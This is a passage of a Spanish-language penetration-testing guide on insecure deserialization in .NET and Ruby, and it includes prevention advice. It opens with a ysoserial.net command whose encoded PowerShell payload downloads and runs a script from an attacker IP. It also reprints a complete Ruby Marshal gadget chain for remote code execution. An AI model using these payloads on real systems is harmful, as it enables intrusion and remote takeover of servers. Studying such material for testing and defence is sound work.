ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net también tiene un parámetro muy interesante que ayuda a comprender mejor cómo funciona cada exploit: --test. Si indicas este parámetro, ysoserial.net intentará el exploit localmente, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Esto significa que para probar el exploit, el código llamará a serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

En el código anterior es vulnerable al exploit creado. Por lo tanto, si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable.

Por lo tanto, el parámetro --test nos permite entender qué fragmentos de código son vulnerables al exploit de deserialización que puede crear ysoserial.net.

ViewState

Echa un vistazo a este POST sobre cómo intentar explotar el parámetro __ViewState de .Net para ejecutar código arbitrario. Si ya conoces los secretos utilizados por la máquina víctima, lee este post para saber cómo ejecutar código.

Prevención

Para mitigar los riesgos asociados con la deserialización en .Net:

  • Evita que los flujos de datos definan sus tipos de objetos. Utiliza DataContractSerializer o XmlSerializer cuando sea posible.

  • Para JSON.Net, establece TypeNameHandling en None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Evita usar JavaScriptSerializer con un JavaScriptTypeResolver.

  • Limita los tipos que pueden ser deserializados, comprendiendo los riesgos inherentes con los tipos de .Net, como System.IO.FileInfo, que puede modificar las propiedades de los archivos del servidor, lo que potencialmente podría llevar a ataques de denegación de servicio.

  • Ten cuidado con los tipos que tienen propiedades riesgosas, como System.ComponentModel.DataAnnotations.ValidationException con su propiedad Value, que puede ser explotada.

  • Controla de forma segura la instanciación de tipos para evitar que los atacantes influyan en el proceso de deserialización, haciendo incluso que DataContractSerializer o XmlSerializer sean vulnerables.

  • Implementa controles de lista blanca utilizando un SerializationBinder personalizado para BinaryFormatter y JSON.Net.

  • Mantente informado sobre los gadgets de deserialización inseguros conocidos dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos.

  • Aísla el código potencialmente riesgoso del código con acceso a internet para evitar exponer gadgets conocidos, como System.Windows.Data.ObjectDataProvider en aplicaciones WPF, a fuentes de datos no confiables.

Referencias

Ruby

En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca marshal. El primer método, conocido como dump, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, load, se emplea para revertir un flujo de bytes a un objeto, un proceso conocido como deserialización.

Para asegurar objetos serializados, Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash), garantizando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Otra cadena de RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

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